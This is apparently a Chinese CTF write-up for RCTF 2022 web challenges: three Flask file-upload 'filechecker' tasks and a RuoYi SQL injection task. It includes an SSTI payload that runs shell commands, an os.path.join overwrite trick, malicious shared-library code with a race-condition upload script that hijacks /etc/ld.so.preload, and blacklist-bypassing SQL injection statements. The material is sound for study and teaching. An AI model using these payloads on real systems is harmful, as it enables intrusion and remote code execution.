filechecker_mini

一个flask应用,附件给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from flask import Flask, request, render_template, render_template_string
from waitress import serve
import os
import subprocess

app_dir = os.path.split(os.path.realpath(__file__))[0]
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = f'{app_dir}/upload/'

@app.route('/', methods=['GET','POST'])
def index():
try:
if request.method == 'GET':
return render_template('index.html',result="ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿")

elif request.method == 'POST':
f = request.files['file-upload']
filepath = os.path.join(app.config['UPLOAD_FOLDER'], f.filename)

if os.path.exists(filepath) and ".." in filepath:
return render_template('index.html', result="Don't (^=◕ᴥ◕=^) (^=◕ᴥ◕=^) (^=◕ᴥ◕=^)")
else:
f.save(filepath)
file_check_res = subprocess.check_output(
["/bin/file", "-b", filepath],
shell=False,
encoding='utf-8',
timeout=1
)
os.remove(filepath)
if "empty" in file_check_res or "cannot open" in file_check_res:
file_check_res="wafxixi ฅ•ω•ฅ ฅ•ω•ฅ ฅ•ω•ฅ"
return render_template_string(file_check_res)

except:
return render_template('index.html', result='Error ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ')

if __name__ == '__main__':
serve(app, host="0.0.0.0", port=3000, threads=1000, cleanup_interval=30)

render_template_string参数可控,可以打ssti,此处的file_check_res是/bin/file处理后的结果,

如果能上传一个文件,让返回的结果带有我们的文件内容,即可达成ssti,如果上传!#开头的文件

1
#! /usr/bin/cmd1

结果如下

1
a /usr/bin/cmd1 script, ASCII text executable

直接ssti即可

1
#!/{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

得到flag

1
a /RCTF{testflag_5vycRgpY1Ekhrdk5wLcJoynj3QOH2JUoUfbCG0he} script, ASCII text executable, with CRLF line terminators

filechecker_plus

这题和上题比较稍微改动了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from flask import Flask, request, render_template, render_template_string
from waitress import serve
import os
import subprocess

app_dir = os.path.split(os.path.realpath(__file__))[0]
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = f'{app_dir}/upload/'

@app.route('/', methods=['GET','POST'])
def index():
try:
if request.method == 'GET':
return render_template('index.html',result="ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿")

elif request.method == 'POST':
f = request.files['file-upload']
filepath = os.path.join(app.config['UPLOAD_FOLDER'], f.filename)

if os.path.exists(filepath) and ".." in filepath:
return render_template('index.html', result="Don't (^=◕ᴥ◕=^) (^=◕ᴥ◕=^) (^=◕ᴥ◕=^)")
else:
f.save(filepath)
file_check_res = subprocess.check_output(
["/bin/file", "-b", filepath],
shell=False,
encoding='utf-8',
timeout=1
)
os.remove(filepath)
if "empty" in file_check_res or "cannot open" in file_check_res:
file_check_res="wafxixi ฅ•ω•ฅ ฅ•ω•ฅ ฅ•ω•ฅ"
return render_template('index.html', result=file_check_res)

except:
return render_template('index.html', result='Error ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ')

if __name__ == '__main__':
serve(app, host="0.0.0.0", port=3000, threads=1000, cleanup_interval=30)

这里的render_template_string改成了render_template,无法进行ssti

但是文件在保存之前会经过if os.path.exists(filepath) and ".." in filepath:的判断,我们可以进行绕过,从而达成任意文件写,并且可以覆盖已有文件

这里用到一个os.path.join的小trick

1
2
3
4
5
>>> import os
>>> os.path.join("/app/upload/","test")
'/app/upload/test'
>>> os.path.join("/app/upload/","/tmp/test")
'/tmp/test'

第一个思路是覆盖/bin/file,从而执行我们可控的二进制文件

image-20230108001838962

第二个思路的覆盖index.html模板来执行命令

image-20230108002010042

filechecker_pro_max

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from flask import Flask, request, render_template
from waitress import serve
import os
import subprocess

app_dir = os.path.split(os.path.realpath(__file__))[0]
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = f'{app_dir}/upload/'

@app.route('/', methods=['GET','POST'])
def index():
try:
if request.method == 'GET':
return render_template('index.html',result="ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿")

elif request.method == 'POST':
f = request.files['file-upload']
filepath = os.path.join(app.config['UPLOAD_FOLDER'], f.filename)

if os.path.exists(filepath):
return render_template('index.html', result=f"{filepath} already exists (^=◕ᴥ◕=^) (^=◕ᴥ◕=^) (^=◕ᴥ◕=^)")
else:
f.save(filepath)
file_check_res = subprocess.check_output(
["/bin/file", "-b", filepath],
shell=False,
encoding='utf-8',
timeout=1
)
os.remove(filepath)
if "empty" in file_check_res or "cannot open" in file_check_res:
file_check_res="wafxixi ฅ•ω•ฅ ฅ•ω•ฅ ฅ•ω•ฅ"
return render_template('index.html', result=file_check_res)

except:
return render_template('index.html', result='Error ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ')

if __name__ == '__main__':
serve(app, host="0.0.0.0", port=3000, threads=1000, cleanup_interval=30)

修改了保存文件前的判断,现在无法覆盖已有的文件了,之前的思路都不能用了,我们能做的只有创建一个可控的临时文件,必须用这个文件来达成rce

利用/etc/ld.so.preload

Linux操作系统的动态链接库在加载过程中,动态链接器会先读取LD_PRELOAD环境变量和默认配置文件/etc/ld.so.preload,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,因为它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。

用strace查看file的执行过程中的调用,可以看到确实加载了/etc/ld.so.preload指定的so

1
strace /bin/file

image-20230108014005677

首先我们要能够上传一个恶意的so文件来劫持函数,

查看file的源码 https://github.com/file/file/blob/master/src/file.c,里面有个`magic_version()`函数,没有任何参数,我们可以劫持这个函数

1
2
3
4
5
6
7
#include <stdlib.h>
#include <stdio.h>

void magic_version() {
remove("/etc/ld.so.preload"); //without this, the exploit would recursively load .so
system("whoami");
}

编译成so文件

1
gcc exp.c -o exp.so -shared -fPIC

然后我们需要上传一个/etc/ld.so.preload来指向我们的恶意so

1
/tmp/exp.so

条件竞争

我们需要在file函数执行前保证系统中存在两个文件,一个是/etc/ld.so.preload,一个是/tmp/exp.so,但是我们每次上传文件check完成后都会将文件删除,所以这里必须用到条件竞争才能让系统中同时存在这两个文件

这里给出最终的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import threading
import requests

url='http://192.168.142.1:3000/'

def upload_so(so):
file = {"file-upload": (f"/tmp/{so}", open(so, "rb"))}
r=requests.post(url,files=file)
t=r.text.split("<h3>")[1].split("</h3>")[0]
print(t)

def upload_pre(so):
file = {"file-upload": ("/etc/ld.so.preload", f"/tmp/{so}")}
r=requests.post(url,files=file)
t=r.text.split("<h3>")[1].split("</h3>")[0]
print(t)

def race(so):
for i in range(100):
threading.Thread(target=upload_so,args=(so,)).start()
threading.Thread(target=upload_pre,args=(so,)).start()

race("exp.so")

ezruoyi

附件中flag存在数据库当中,应该从sql注入入手

参考删除SqlUtil.java中SQL_REGEX管道符左边的空格 · Pull Request !403 · 若依/RuoYi - Gitee.com

filterKeyword函数使用的黑名单,每个关键词前面都有空格,例如select/**/这种写法就可以绕过

image-20230216000846970

此处的代码生成功能使用了filterKeyword函数,因此存在sql注入

image-20230216001211662

1
2
3
4
CREATE TABLE test81 AS SELECT/**/SLEEP(IF((LENGTH(DATABASE())=2),5,0));
时间盲注
create table notexist11 as select/**/gtid_subset(flag,1) from flag;
报错注入

Reference

http://help.louzhutie.cn/index.php?developer/article/2192800

RCTF 2022 OFFICIAL Write Up - ROIS Blog

https://payloads.online/archivers/2020-01-01/1/

RCTFweb复现 (ppmy.cn)